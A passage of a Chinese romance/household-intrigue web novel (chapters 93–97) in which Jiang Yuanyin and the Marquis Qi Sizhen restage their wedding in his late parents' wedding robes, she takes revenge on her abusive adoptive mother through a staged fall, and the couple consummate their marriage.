“哦?”江元音掏出休书递给她,“那你好好看清楚,这是什么。”
齐婧涵余光瞟到了“休书”二字,她开始往后退,逃避道:“我不看,你拿开,我不看。”
“行,那我念给你听……”
“啊——”齐婧涵尖叫阻拦,仰头狠瞪江元音,歇斯底里地问:“你为何要这样对我?!我没有害过你!你这个毒妇,我跟你无冤无仇,你害死我的孩子,你不怕晚上做噩梦,不怕我的孩子来找你索命?!”
江元音半点不恼,不打断安静听她说完,在她喘息换气时,方才徐声开口:“首先,你不是没有害过我,你是害我未遂,其次,是你一家人心不足蛇吞象,侯爷待你们足够好,你们却想着鸠占鹊巢,恩将仇报,我不过以其人之道还治其身,我的‘毒’只针对你们作的‘恶’。”
“最后,多行不义必自毙,你的孩子是你自己害死的,该做噩梦的人是你,他要索命,也是索你的命。”
江元音理智冷静,条理清晰,半点不惯着齐婧涵。
依次回怼后,她手一松,休书飘落在地。
她道:“许子枫的笔迹你该认得,你若不信,便去国公府闹,我不拦着。”
想来齐司延同齐文台一家断绝关系的事,该传遍整个汴京了。
齐婧涵闹得再凶,都与侯府无关。
江元音懒得多费唇舌,冷声道:“但你若觉得无处可去,同为女子,我念你刚滑胎小产,准你在侯府休养五日。”
语罢她转身离开。
身后齐婧涵在丫鬟的劝阻声里,愤怒撕毁了休书,又哭又闹。
江元音一下都没回头。
她没将齐婧涵即刻赶出侯府,已是仁至义尽,她问心无愧。
江元音这一忙,便忙到了亥时。
她回主屋时,清秋和雪燕还双双帮其捧着侯府的账本。
而齐司延早就洗漱完毕,恭候多时。
齐司延坐在床榻上,墨色的眸一瞬不眨地盯着江元音,颇有些哀怨地开口:“阿音忙完了?”
江元音立在外间同卧房的交接处,见齐司延已褪了外衣,只着里衣坐着,不答反问:“侯爷打算歇息了?”
齐司延闷声提醒道:“亥时一刻了。”
没有意外情况的话,往日这个点,他们早该相拥而眠。
江元音无视他的暗示,道:“那侯爷先睡吧,我还不困,想再理一会账本。”
虽然先前办归宁宴时看过一会,但要接管侯府,还有好些需要了解。
说完没给他回应的机会,兀自走向外间的软榻。
然而齐司延起身,径直跟了过来。
不满一直被冷落,他长臂一身,揽过她的腰,将似陀螺搬转了一日的人儿圈入怀抱。
雪燕和清秋见状,忙将账本放在榻上的矮几上,退了出去。
齐司延眉目里浸染着不爽,连清冷里声线里亦透着不满,垂眼看她,道:“阿音要忙到何时才能多看我两眼?”
江元音仰头,嗔了他一眼,“不是侯爷让我接管内宅的吗?”
“不急这一日两日,有比这更急的事。”
“什么事?”
齐司延目不转睛地看她,唇角微微上扬,“我们的婚事。”
江元音眨了眨眼,“嗯?”
他将她圈得更紧,眯眼质问:“之前说好了,待收拾了齐文台、陆氏,我们要重新拜堂行礼,你忘了?”
江元音连连摇头否认,“怎么会?
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”
她略有些心虚,越发热情地问道:“侯爷可定好日子了?明日还是后日?”
他都说比她接管侯府内宅更急了,想必是这两日之间的事。
不过只是拜堂行礼,不出半个时辰便能搞定。
“三日前我已书信元奚**,请他为我们挑几个良辰吉日,待他回信了,你再选个合你心意的日子。”
江元音微怔。
三日前?
那便是他知道父母枉死那日,她为了宽慰他,提出要重新在他父母面前拜堂行礼。
他答应后,便立即去请元奚**看日子了?
齐司延又道:“明日锦绣阁的人会登门,为你量体定制嫁衣,再由……”
“等等,”江元音出声打断,“不必这般麻烦,凤冠霞帔与嫁衣我都有,何须再置办?”
齐司延不赞同,“你我要成婚,自该用心筹备,怎会是麻烦?”
江元音后知后觉地回神。
她说的重新拜堂行礼和他说的似乎是两回事。
被他重视的感觉不赖,可她真心认为没必要再大张旗鼓地操办一次。
不想扫他兴,她寻了个由头,软声道:“是我用词不当,我只是觉得再量体裁衣,动辄数月半载,耗时太久,我巴不得明日便能与侯爷跪拜父母行礼,实在等不了这么久。”
她伸手环住他的脖颈,撒娇道:“侯爷,我们一切从简,可好?”
齐司延最是吃她这一套,哑声应道:“那便自元奚**挑的吉日里,选个最近的日子。”
语罢,将她拦腰抱起,往床榻走去。
江元音感觉到他身体的炙热,及时制止:“不行,侯爷刀伤未愈。”
这些日子,她细心照料,生怕他伤口裂开,早达成了待他伤好后再行房事的共识。
齐司延忍耐了数日,今日又被她冷落,刚又被她的主动撒娇点了火。
他将她抱上床榻,决定用行动来告诉她,刀伤并不碍事。
江元音却理智得很,双手抵住他的双肩,娇声说了个他绝不会拒绝的理由:“既要重新拜堂行礼,自得等那夜再洞房花烛。”
齐司延不回应,只是倾身吻上了下去。
在理智崩盘前,他松开她,哑声无奈却也纵容地出声:“……依你。”
第93章 搞定婚服
真正需要量体裁衣,制作婚服的人不是江元音,而是齐司延。
当初圣上赐婚,他以为娶的是江云裳,压根没准备婚服。
那时侯府的一切还是由陆氏操持,陆氏既瞧不上这出身江南的商贾新妇,更担心新妇要和自己抢侯府“主母”的实权,做足了打压她的准备,别说齐司延的婚服,整个侯府连个“喜”字都没贴。
锦绣阁的裁缝在研究记录完江元音的嫁衣后,才替齐司延量体。
量完恭敬道:“侯爷放心,约莫半年,我锦绣阁定能制出和侯夫人嫁衣最登对的新郎婚服。”
“半年?”齐司延不悦沉声:“再调些绣娘来汴京赶制。”
半年委实太久了些,他等不了。
裁缝满脸为难,“回禀侯爷,阁主已书信苏秀局,调派绣娘来京,只是就算日夜不休,估摸着也得三个月才能赶制出来啊。”
他们锦绣阁是专为汴京的达官贵人量体裁衣的,可婚服不是常衣,尤其是替定宁侯绣制,既不能太寻常简易,配不上定宁侯的身份,更不能粗工赶制,出了差错,得罪了贵人还要丢了锦绣阁的名声。
齐司延拧眉,裁缝店不禁哆嗦了下。
江元音率先开口道:“你且先去忙活吧,我与侯爷做了决定再派人去锦绣阁知会你们阁主。”
裁缝如释重负,忙点头退下。
江元音直截了当表明心意:“我知侯爷是重视我才这般用心筹备,但在我心中,最重要的是同侯爷一起跪拜父母,穿衣着装,或是别的繁文缛节并不重要。”
她眨眨眼,玩笑道:“侯爷也不可能重新去江南迎亲是不是?”
她随口一句玩笑话,齐司延听着却万般不是滋味。
对她,他有太多后悔亏欠。
他不仅没筹备婚礼,没派人去江南迎亲、称病不与之行礼拜堂。
还故意在新婚夜,放她表妹陈招娣进入药浴池,让她误会,轻视折辱她。
“从前是我不好,”齐司延柔声道:“这次定不会委屈你。”
江元音在他身上感受到了真诚和认真,她已经心满意足。
她主动拉住他的手,“有没有婚服不重要的,只要余生侯爷待我能一日比一日好,我便不会觉得委屈。”
重办一次婚礼太过麻烦,她宁可他永远觉得亏欠她,在生活的点点滴滴上,待她再好些。
齐司延眸色深了几许,反手牵住她,“你且随我来。”
江元音困惑跟上,“去哪?”
“储物室。”
江元音面色古怪看他的侧脸。
他不会是说风便是雨,现在便要拉她去跪拜行礼吧?
不过也挺好,她之前提出重新拜堂行礼,本就只是为了宽慰知晓父母枉死消息的他。
江元音不再多问,任由他牵着自己到了储物室。
齐司延目的明确,牵着江元音,径直朝角落的红木大箱子走去。
江元音不明所以,安静观望。
他是想跟她展示箱子里的东西?
这箱子里有什么?
齐司延弯腰俯身,打开了箱子。
江元音朝里望了眼,借着角落并不太敞亮的光线,依稀能看到一片红彤彤的衣料。
她疑惑出声:“这是?”
……总不至于是婚服吧?
下一瞬,齐司延伸手,小心翼翼地拿起箱中衣物,声音很轻地回道:“这是我父母当年的婚服。”
江元音讶然,竟真的是婚服。
齐司延徐声道:“其实父亲、母亲当年,亦没有举行婚礼。”
“为何?”
“婚礼前日,前线来报,胡人犯我边境,父亲、母亲没有犹豫,换上戎装便上了战场,这一战便是三年,”齐司延手捧婚服,侧身看着江元音,问道:“这婚服父亲、母亲当年并未穿过,阿音,你可愿穿它,与我拜堂行礼?”
婚服从背光的箱子里拿出来,在屋内正常的光线里,更是一片喜庆的红。
婚服被保存得很好,看不出半点岁月的痕迹。
江元音知道,这婚服于齐腾夫妇、齐司延而言,都是意义非凡的存在。
她点点头,莞尔笑道:“荣幸之至。”
齐司延展开嫁衣,为江元音披上。
然而嫁衣并不合身。
洛青莞是女将军,比江元音要高了半头,嫁衣也大了不少。
见状
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,齐司延道:“我唤人来按你的尺寸修改。”
修改尺寸不是重新制衣,不需要动辄数月。
江元音展臂,垂首打量身上的嫁衣。
能看出全是依照洛青莞的喜好来缝制的,非常简洁大气的款式,只在裙摆处用金线绣了只雌鸯,针法并不娴熟,透出些许地笨拙。
她猜测,这雌鸯大抵是洛青莞亲手绣的。
英姿飒爽、不拘小节的女将军,将自己最细腻的感情,一针一线藏进这嫁衣里了吧。
是以,她开口道:“我针线活尚可,侯爷能否允我自己来改?”
她会尽可能的不破坏改动这件嫁衣。
齐司延欣赏着她着嫁衣的模样,眸光温柔的回道:“好。”
江元音看了看箱子里剩下那件,提议道:“侯爷也试试?若不合身,我一并改了。”
齐司延颔首,拿出箱子里的那件婚服穿上。
他身高体长,婚服倒是意外的合身。
江元音初次见他穿这般艳丽喜庆的颜色,冲淡了平日里的清冷淡漠,张扬而惹眼。
她眉眼弯弯,不吝夸赞道:“侯爷丰神俊朗,气宇轩昂,定是汴京城内最俊美的郎君!”
齐司延面上波澜不惊,实则很受用地挺直了腰背,眼底皆是笑意。
……她倒是嘴甜。
接着江元音目光下移,落在婚服衣摆上,不出她所料,那里同样用金线绣着一只雄鸳。
她为之动容,不禁感慨出声:“父亲、母亲当真是伉俪情深,好一对神仙眷侣。”
志趣相投又彼此尊重,两人既是爱人又是知己,是她最为向往的感情。
齐司延直直地看着她,沉声而郑重道:“我们也会是。”
这不是随口的附和,而是对她的承诺。
他目光循着她的视线,落在衣摆的刺绣上,状似不经意道:“父亲有幸,有母亲亲手绣制的鸳鸯,不知我何时会有。”
他暗示的口吻太过生硬,江元音只觉得好笑,很是配合地询问:“不知侯爷可缺香囊?我替侯爷绣只香囊可好?”
齐司延满意勾唇:“甚好,阿音真是观察入微,本侯正缺一只香囊。”
第94章 讨回幼年所受的委屈
搞定了婚服,又从元奚**挑选出的吉日里,选了个最近的日子,即半个月后的六月二十八日。
两人达成了“一切从简”地共识,便各自忙活去了。
江元音研究了大半日的账本,上次翻阅重点在侯府收支上,这次着重于铺面、田地等资产上。
越了解她越惆怅。
侯府的家底早被陆氏一家挥霍掏空了,钱财所剩无几。
这情况,在齐司延生辰的赏赐下来前,他想大肆重新操办一场婚宴,只怕是不可能的事。
好在遣散了齐文台父子那些妾室后,便也少了很大一部分的支出。
一整日都陆续有丫鬟来报,有齐文台父子的妻妾求见。
江元音毫不犹豫地拒了。
午后,曲休来了一趟,将一个木匣子双手呈给她。
江元音接过打开,里面是一叠微微泛黄的契书与一串钥匙。
她心里隐约有了答案,还是挑眉确认问道:“这是?”
曲休恭敬禀告道:“夫人,这些是侯爷名下的一些铺面、地皮,而钥匙是储物室里间那一片大箱子的钥匙,箱子里装的是先侯夫妇曾获得的赏赐之物,侯爷说,现在侯府交由夫人管理了,夫人得空可清点一番入库,日后也方便打理。”
江元音抓住了重点,问道:“你是说,这些东西都不曾入库,登记在侯府账房?”
曲休点头:“不曾。”
江元音思绪翻涌。
齐司延竟留了这么一手,那说明他对陆氏一家早有防备。
可他若是这般警觉,又怎会**到耳聋目瞎,直至昨日才动手收拾他们?
有些微妙的矛盾与古怪,但无论如何,这都是件好事。
有家底总比没家底强,毕竟不管她现在同齐司延如何恩爱,她从未想过要用自己从江家谋来的嫁妆来贴补侯府。
那些,是她傍身的底气与退路。
江元音不再纠结这些细节,随即起身去清点这些财物入侯府库房。
只是一出了青松院,蹲守良久的妾室们便接连围了过来。
不过一日一夜,她们形容憔悴,拦着江元音,哀怨哭喊。
“夫人怎能赶我们出府?我们一介女流,离开侯府能出哪?”
“我们在侯府住了十多载,夫人就这么把我们赶走,不怕被全汴京的人议论,骂你冷血无情吗?”
“是啊,就算要赶我们走,也得我们足够的银钱,保我们后半生无忧才行啊!”
“还得给你们银钱?”江元音冷笑,“这侯府你们住久了,便忘了主人姓甚名谁,侯府供你们白吃白喝十多载,你不懂感恩也就罢了,还敢问我要钱?”
“你们可真是笑脸给多了,便蹬鼻子上脸,不知好歹,我与侯爷不因齐文台、齐明宏迁怒于你们,允你们五日收拾好家当再走,已是仁慈,你们要是敬酒不吃吃罚酒,就给我归还这些年花费侯府的银钱,马上给我滚出侯府!”
语罢,江元音没有多看她们一眼,抬步离开。
她在库房忙了半个时辰,又有家丁来报。
家丁:“夫人,江老爷、江夫人来了。”
江元音停下手中动作,抬眼问了句:“领进来了?”
家丁摇头,打量着江元音的脸色回道:“没夫人的允许,不敢随意领进来,二老还在偏门门口候着,夫人可要见一见?”
江兴德、陈蓉上一回登门,可谓是把整个侯府都得罪了。
先是失言得罪了齐司延,被赶出青松院,不得入内。
后又因为江正耀同齐维航起了冲突,被陆氏赶出侯府去。
因此,家丁不敢轻易做主。
江元音没甚情绪起伏,淡声吩咐道:“不必回应任何,他们要等,就让他们等着。”
不用想也知道,定是昨日寿宴种种,齐文台一家接连入狱传到他们耳中。
他们谄媚错了人,得罪了齐司延,还白白搭了银子,此刻定是肠子悔青
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,想来向齐司延赔罪道歉,好攀上侯府。
她既不说见,也不说不见,就让他们兀自琢磨揣测,心急干等。
不给准信,最是煎熬难捱。
这一晾,便晾了两日。
他们一日比一日来得早,第三日,江元音和齐司延吃早餐时,便有家丁来报,江兴德和陈蓉求见。
齐司延侧眸扫了眼曲休,无声示意。
曲休会意,拱手作揖正要退下去处理此事。
江元音将两人的互动看在眼里,出声制止:“且慢。”
曲休驻足,目光在齐司延和江元音之间来回,等候指令。
江元音冲齐司延道:“侯爷,可否允我阿父阿母登门?”
“自然是随你意愿,”齐司延表态道:“你若不愿,我会替你出面解决。”
他知晓她在江家的处境特殊,也不愿她被这些糟心事打扰。
“多谢侯爷好意,”江元音不铺垫,直接了当的说道:“想必侯爷也看出来了,我自幼不受宠,出阁前没少受委屈,今日我想讨回一二,侯爷可愿配合我?”
自从两人联手收拾过齐文台、陆氏,她在他面前逐渐坦然真实,懒得再扮演纯良无害的小白花。
“阿音想我如何配合?”
江元音倾身凑近,在其耳畔低语。
说完后,她带着几分自己都未觉察的有恃无恐,眉眼弯弯地问他:“侯爷可会觉得我小肚鸡肠,睚眦必报?”
“怎会?”齐司延扬唇,眼角眉梢皆是纵容与笑意,温声回道:“阿音分明是善恶分明,明辨是非。”
末了,他补充道:“阿音放心,我定配合。”
江元音听得舒坦,吩咐家丁将江兴德和陈蓉带到青松院后厅去。
将齐文台一大家子逐出侯府后,偌大的侯府便只剩她和齐司延以及秦瑾烟三个主子。
她忙活了三日,已将侯府摸索接管得差不多了。
是时候跟江兴德、陈蓉算算账了。
第95章 你不配当我母亲
后厅。
江兴德、陈蓉一踏进来,江元音便起身,微微福身,行了个虚礼,唤道:“阿父,阿母。”
江兴德大步迈过去,将她扶起来,“你有身孕了,还行什么礼?”
他完全没有因为被晾了三日而敢不悦生气,神态语气里全是关怀备至。
陈蓉在一旁,面色却很僵硬难看。
上回脱臼的手没及时治疗,还留了病根,江元音挑衅得意的笑容深深烙印在她脑海里。
她觉得江元音根本不是什么无害温顺的女儿,可偏偏无论她怎么说,江兴德都不信。
知道齐司延将齐文台一家扫地出门后,江兴德旧事重提,怪她得罪了齐司延,狠骂了她一顿。
她不得不来登门道歉。
江元音站直身子,弱声道:“女儿无能,直至今日侯爷看在腹中孩儿的份上,才允我见阿父阿母一面。”
“此事是你阿母失言惹恼侯爷在先,怪不得你,”江兴德面色凝重,早有准备道:“我和你阿母先前是被齐文台、陆氏所言蒙蔽,今日是特意来赔礼道歉的。”
他无意和江元音寒暄,直入正题道:“侯爷呢?你且领我与阿母去当面致歉赔罪。”
江元音目光不住扫过陈蓉,欲言又止,为难道:“阿父,侯爷是不会见阿母的。”
“那我一人去,”江兴德不放过任何机会,“你快些带路吧。”
他是一家之主,面子肯定比陈蓉大,何况他和齐司延没有任何明面上的矛盾过节,现在江元音又怀孕了,齐司延与他,当好说话些。
江元音故作纠结犹豫,半晌后才开口道:“我命人带阿父过去,我便不去了,阿母一人留在这必定忧心不自在,我留下来陪她。”
江兴德欣慰颔首:“还是元音贴心,思虑周到。”
说完看向陈蓉,嘱咐道:“你趁此机会同元音把上次的误会说开,母女之间哪来得隔夜仇?你现在怀有身孕,你当母亲的更要多体贴关怀。”
后半句他加重语气强调,暗示她不要再像过去那般欺负江元音。
清秋奉命领着江兴德去见齐司延,厅里便只剩下江元音与雪燕,还有陈蓉和李嬷。
江兴德话里话外的意思,陈蓉全部明白,只是她近期因为江元音日子过得不舒心,这么多年更是在她面前拿乔作势惯了,不可能主动跟其示好,觉得跌面。
她下巴一仰,寻了个空椅要落座,心里盘算着,等江元音如往常那般,低声下气来求和时,她便呵斥她两句,勉为其难顺势下个台阶。
可惜没等来江元音的讨好,只等来一记冷眼。
江元音坐在主位,冷眼扫她,“谁让你坐的?”
陈蓉一怔,难以置信地望着江元音。
在她愣怔间,雪燕过去,直接撤走了她要坐的椅子。
“江元音!”陈蓉怒不可遏,“我可是你母亲!”
“哦?”江元音挑眉,玩味反问:“你确定你真的是我母亲吗?”
陈蓉眸光闪烁,颇有些心虚,“你、你这话是什么意思?”
她知道真相了?
江元音目不转睛地看着她,看着她面色红红白白,呼吸逐渐急促,待她紧张忐忑到了极致,方才模棱两可地回道:“没什么意思。”
她幼时总在揣摩陈蓉的喜怒,言语中的深意。
现在,也该轮到陈蓉来体验这份煎熬了。
江元音端过茶盏,悠哉喝了一口,目光落在厅外景致,似讨论天气一般随意的口吻道:“我知道你从未把我当成女儿来看待过,我说什么做什么都是错,我不说不做更是大错特错。”
“我对你而言,是江正耀的出气筒,是江云裳的替罪羊,是任打任骂的窝囊废,更是没有价值,便会被遗弃的累赘。”
她戳破了这么多年,母女之间心照不宣的真相。
陈蓉一时反应不过来,杵在厅里,呆若木鸡地望着陌生的江元音。
母女俩的身份好似在这一瞬调换,她成了被训的那一个。
江元音一脸云淡风轻,边回忆边诉说着这些年在江家遭遇的种种不公对待。
从六岁罚站大雪里,到八岁罚跪誊写家规,九岁挨藤鞭……
好些事陈蓉都已经记不得了,听着听着,她面红耳赤,逐渐开始恼怒,上前数落骂道:“别人对父母,皆是记恩不记仇,你倒好,对你的恩情半点不记,揪着那点小事不放,现在来跟我翻旧账,你良心被狗吃了?”
远远地,江元音依稀能瞥见江兴德折返的身影。
她知时候差不多了,起身朝陈蓉走去,“许你作恶,不许我记仇?”
“没有女儿记母亲仇的道理!”
“我不是你的女儿,”她轻笑,“你也不配当我母亲。”
陈蓉彻底被激怒,
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扬手欲挥江元音巴掌,可她刚抬手,江元音却先她一步地后退倒地。
江元音余光望着江兴德快步而来,抬眼看着陈蓉,“被污蔑、被在意的家人质疑不信任,百口莫辩的委屈,也该轮到你来受受了。”
陈蓉尚未反应过来,下一瞬,曲休飞速上前扼住她扬起的手,熟稔地再次拧断了她的手。
在陈蓉的惨叫声里,江元音在雪燕的搀扶下,抚着自己的肚子,泪眼婆娑道:“阿母明知我有孕,为何还对我下重手?”
陈蓉来不及回应,江兴德上前,利落得扇了她一耳光。
陈蓉被扇懵了,浑身抖得厉害,气血上涌竟麻痹了断手的疼,“江兴德!你竟为了她打我?!”
她何曾受过这样的委屈!
“她肚中孩子若有半点差池,我可不止是扇你!”江兴德狠声警告道:“你马上给元音认错道歉!别逼我继续扇你!”
“我凭何道歉?她是装的!我根本没打她!”
“你还嘴硬,我刚都看到了,何况元音那性子,受了委屈都往肚子里咽,更不会撒谎!”
李嬷上前帮腔,“不是的老爷,真是大小姐装的……”
“啪——”
江兴德抬手又给了李嬷一巴掌,“你哪回不是睁眼说瞎话,帮着欺负元音?”
江元音听着,心中冷笑。
是啊,他明明什么都知道,从前却未帮过她半回。
这时曲休朝江兴德递过藤鞭,提醒道:“江老爷可别忘了自己怎么同侯爷说的。”
江兴德接过藤鞭,递给江元音:“是你母亲失职,这些年让你遭受诸多委屈,你还她几鞭子,权当出了恶气。”
江元音连连摇头,“阿父折煞元音了,我当女儿的,怎敢对母亲动手?”
陈蓉气得要呕心沥血,“江元音,你还演!”
“唰——”
江兴德扬鞭,甩在陈蓉身上,“陈蓉,你为母不慈,为妻不贤,搅得江家鸡犬不宁,我今日便当着侯府众人的面,正我江家门风!”
藤鞭一下接着一下,陈蓉被打得皮开肉绽。
江元音一脸惊恐地抚心站着,眼底却是一片冰冷。
动手甩陈蓉几鞭子,哪有让她一直憋屈地活着,动辄**兴德打骂来得解气呢。
把陈蓉交给江兴德折磨,至于江兴德,她会让他青云梦碎,一无所有滚出汴京。
第96章 洞房花烛(圆房了)
江元音受了“惊吓”,顺理成章地回厢房歇息去了。
另一边,曲休盯着江兴德鞭笞完了陈蓉,将两人“送”出侯府。
很快,院里飞进一只信鸽。
曲休取了情报,飞速去寻齐司延,言简意赅地汇报了江兴德和陈蓉的事,立马将信鸽送来的情报呈上:“侯爷,刑部来信。”
齐司延接过,垂眼一扫,薄唇微抿。
曲休有所察,关心询问:“侯爷,陆氏招了?”
齐司延摇头,“她**。”
“畏罪**?”曲休失望感慨:“这线索断了,一时怕难有进展。”
“不,”齐司延惯性烧毁情报,“这恰恰是最大的进展。”
他本就不认为能在陆氏嘴里拷问出什么,将她扭送刑部,是为了验证自己的猜测,引蛇出洞。
陆氏那般贪生怕死的人,绝不可能**。
她的“死”,正验证了他的猜测。
从他父母的死,到他的“病弱”,都是那人精心布下得局。
当晚,齐司延回到主屋时,江元音已洗漱过了,着睡衣在外间软榻上,就着烛火替他绣香囊等他。
他上前拿走了她手中针线,“也不怕累着眼睛,等白日里光线好再绣。”
江元音嗔了他一眼,不满道:“我还不是不想侯爷久等?”
事实上她是故意掐着他回屋点,特意忙活给他看的。
白日里,是他配合她,令江兴德鞭笞陈蓉。
她总得有所表现。
“若是你为了绣这一只香囊熬坏了眼睛,我这辈子岂不没得换了?”齐司延将关心表达得婉转,打量着她的神色,问道:“今日可觉得出了恶气?”
江元音点头,反问:“侯爷可会嫌我不够良善淑德?”
“我只会惋惜。”
“惋惜?”
“比起你十倍百倍将受到的鞭笞伤害还回去,我宁可你从未遭受过这些。”
江元音呼吸一滞,任由他吹灭烛火,牵着她回卧房歇息。
她慢他半步,整个人被他高大身子带来的阴影笼罩着。
却是前所未有的的安全感。
静谧的房间,她好似听到了自己的心跳。
齐文台父子的妾室家眷悉数离开了侯府,江元音重新调遣分配侯府的奴仆,之后便着手修改婚服,替齐司延绣制香囊。
很快,便到了六月二十八日。
江元音坚持一切从简,但齐司延还是不同意什么都不装扮。
是以,整个青松院张灯结彩,处处可见大红的喜字。
堂屋布置得喜庆,高台上摆放着齐腾与洛青莞的牌位。
江元音同齐司延着父母二人的婚服,在清秋、雪燕、曲休以及秦瑾烟的见证下,跪拜高堂行礼。
“一拜天地——”
“二拜高堂——”
“夫妻对拜——”
在大家祝福的注视下,两人盈盈相望。
此刻两代人的遗憾都圆满了。
新房里,雪燕与清秋为两人递上合卺酒,齐声道:“合卺之喜,白首齐眉。”
齐司延墨眸幽深,目不转睛地盯着江元音的脸,将手中的合卺酒一饮而尽后,利落地扔掉了酒杯,径直吻上她的唇。
他辗转吮吸,目的明确地抢夺着她口中的佳酿。
雪燕、清秋臊红了脸,忙垂首退了出去。
江元音被他吻到身子发软,双手撑在他胸口,一边喘息着换气,一边嗔道:“侯爷嫌酒不够,让她们再添便是,何苦抢我入口的?”
齐司延搂着她,眼神意犹未尽地落在她的红唇上,低声回道:“我只是怕你同上回那般,一杯便醉。”
“醉便醉了……唔……”
翕合的红唇太考验他的意志力,他再次吻了上去,将她压在床榻上,方才给出了答案:“你不能醉,今夜的点点滴滴,你必须记得。”
这可是他们真正意义上的“洞房花烛夜”,他决不允许她如同上回那般,一觉起来,什么都忘记。
江元音了然,眸光潋滟地看他,意有所指道:“是不能醉,免得又被侯爷诓骗。”
红烛摇曳,婚服滑落。
他的气息将她笼
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罩,侵略性十足。
她不禁缩了缩肩,分不清是娇羞还是想要与他更亲密,主动贴入他的怀抱。
没有了衣物的阻隔,让他更清晰地感受到她温软细腻的皮肤。
她一贴近,他好似着了火。
在火焰要将他烧毁时,他借着烛火,看到了她左肩上的图腾。
齐司延大手抚上去,问:“这是什么?”
江元音答得含糊,“刺青。”
“刺青?”齐司延俯身凑近,似是想看清楚这图腾的模样。
成婚半年,同床共枕数月,他竟不知她身上有刺青。
可江元音并不愿意他去探究这刺青。
这莲花胎记虽然已经**云裳强行更改成为动物图腾,但依旧是她想遮掩住的秘密。
前世,若不是这莲花胎记,她不会被李承烨禁锢半生,折磨致死。
其实她隐约知道,这莲花胎记或许和她的身世相关,可她本能的抗拒。
她并不想去找找生父生母。
找到了又如何呢?
她只是一个弃婴,她并不想知道她的父母当年为何遗弃她。
反正这辈子,她不再渴望虚无缥缈的亲情。
这被改造过的刺青,于她而言,是前世噩梦的烙印。
于是江元音伸手,环住他的脖颈,身子完全贴上他结实的胸膛,撒娇地蹭了蹭,娇声唤道:“夫君……”
齐司延发出满足的喟叹,再无暇顾及她身上的刺青。
翻云覆雨间,江元音觉得好似在经历一个盛夏的雷雨天。
雨未落下前,空气粘稠、闷热,她期盼着暴雨快些落下。
可当暴雨真的落下,那些淅淅沥沥的雨水,赶走了燥热,却也……让她疼痛。
她忍不住呜咽出声,第一次连名带姓地唤他:“齐司延……我疼……”
然而暴雨却不受控地下得更猛烈,她忍不住一口咬在他的肩膀。
齐司延任她咬着,浑身是汗,在她脸颊上落下细细密密的安抚的轻吻,在她耳边哑声道:“放轻松,阿音……我也疼。”
第97章 昨夜,阿音不满意?
江元音醒来时,身体好似散了架,酸痛不已。
察觉到她的动静,齐司延稍稍拢了拢手臂,下巴在她发顶轻轻蹭了蹭,“醒了?”
男人清冷的嗓音透着餍足,让昨夜的种种悉数涌现脑海。
回忆起他昨夜不顾她“死活”的不知节制,在他怀里气恼转身,背对他躺着,无声表达自己的不满。
齐司延贴上去,自她身后圈住她,“怎么了?”
他问得谨慎:“昨夜……阿音不满意?”
江元音又往里侧挪了挪,试图拉开和他的距离,继续沉默抵抗。
反正他昨夜便是如此,她受不住,连声唤停,他喘息着,将肩膀送到她唇边,任她啃咬,都不停一下。
哪还有半点平日里矜贵冷淡的模样?
然而江元音往里侧一挪,随着她埋首的动作,她裸露的左肩曝露在他的视野。
他再次看到了她左肩上的刺青,忍不住仔细打量。
这个图腾看起来像是一只九尾狐,但狐尾却不够灵动,显得有几分刻板生硬。
他觉得古怪,越发认真地端详,抬手轻触摸上那刺青图腾,从狐尾到狐身,触感并不一致。
尾巴部分触感平滑,而一旦离开尾巴,触感则变得凹凸不平。
很显然,这个刺青不是一蹴而就,而是经过二次改造。
它原本,应该不是一只狐狸,所以尾巴部分才看起来生硬。
他的目光长久落在“尾巴”的位置,思索着它的本体。
江元音察觉到他的目光,暗叫不好,在他开口询问刺青相关前,一个转身又同他面对面而卧。
这样,她整个左肩都被掩盖住了。
“不满意,”她抬眼看他,秀眉轻蹙,为转移他的注意力,控诉道:“侯爷昨夜没把我当人,把我折腾得要散架了。”
齐司延眸色幽深,回忆起昨晚,声线是情动的哑,“阿音不喜欢?”
江元音觉得他那双眼,好似要**,怕他又要来折腾自己,翻身欲起。
齐司延长臂一伸,便将她牢牢禁锢在怀里。
体力悬殊,江元音完全挣不脱,抬手捶他,恼道:“齐司延!”
齐司延很受用她连名带姓唤他的,只觉得这般显得两人越发亲近。
他任由她捶打着,没有松开她,却也没不顾她意愿的继续,而是低声哄道:“就抱一会,不乱动。”
待她安静下来,他方才开口问道:“为何会想要刺青?”
江元音知道他心思缜密,要是一而再再而三的岔开话题,不去回应,只会让他起疑。
是以,她没甚情绪地淡声回道:“非我所愿。”
无论是最开始的莲花胎记,还是后来**元音修改成动物图腾,都非她自己的选择。
简单的四个字,含糊概括了他接下来所有想展开的话题。
齐司延听出了她的抗拒,回想起陈蓉第一次登门时那个夜晚,他也曾问及她在江家的过往,她亦是这般含糊作答,不愿多提。
她幼时在江家过的,大抵比他了解到的,还要委屈难捱。
他不再追问,只是安静环抱着她。
一刻钟后,齐司延起身下床。
江元音懒洋洋的,不愿动。
齐司延低声道:“吃点东西再睡。”
江元音控诉地瞅了他一眼,转过身拒绝。
齐司延无可奈何,只好替她掖好被子,离开时吩咐雪燕、清秋,送些吃食进去。
江元音这一觉,直到午时过后才醒。
身子的酸痛稍有缓解,雪燕侍候她更衣梳洗,清秋去后厨端来了热乎的饭菜。
江元音瞅着两人红扑扑的小脸蛋,以及快咧到耳朵的嘴角,掀了掀眼皮,问道:“什么事这么高兴?”
“如今侯府再没人为难夫人,侯爷身子大好,又对夫人宠爱有加,雪燕想想便开心!”
“照昨夜的情况,夫人很快要有小侯爷咯!”
两人语气轻快,对视了一眼,默契的想到昨夜听到的动静,小脸越发臊红。
江元音觉得她俩这模样有几分可爱,也知她们俩是真心为她开心,便玩笑回道:“是啊,你们可以找嬷嬷学学,如何带孩子了。”
主仆三人笑闹了几句,看院门的丫鬟来报,说是秦瑾烟来了。
刚好江元音也吃得差不多了,便让她们收拾了桌子,去准备茶水。
秦瑾烟
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一入屋,见江元音起身相迎,忙出声道:“你坐着便好,别累着了。”
“不累,”江元音领着她往软榻上落座,随口回道:“我睡到刚刚才起。”
“怎地睡了这么久?身子不舒服?”秦瑾烟落了座,说着想到什么似的,神色凝重又复杂,纠结了好一会才低声道:“你本就脉象不稳,尚不足四月不该行房。”
她满眼不赞同地提醒道:“很危险的。”
江元音恍然。
秦瑾烟尚不知她是假孕,虽说陆氏一家子都入了狱,再无强行将齐维航过继给她的可能,秦瑾烟依旧很关心她的身体。
这便多了几分真心实意。
江元音笑着点点头,温声回道:“你莫担心,我心中有数。”
假孕的事三言两语解释不清,反正她现在正和齐司延积极备孕,索性便不提了。
不想继续这个话题,她又主动询问道:“瑾烟来找我,可是有事和我说?”
秦瑾烟神色复杂地叹了口气。
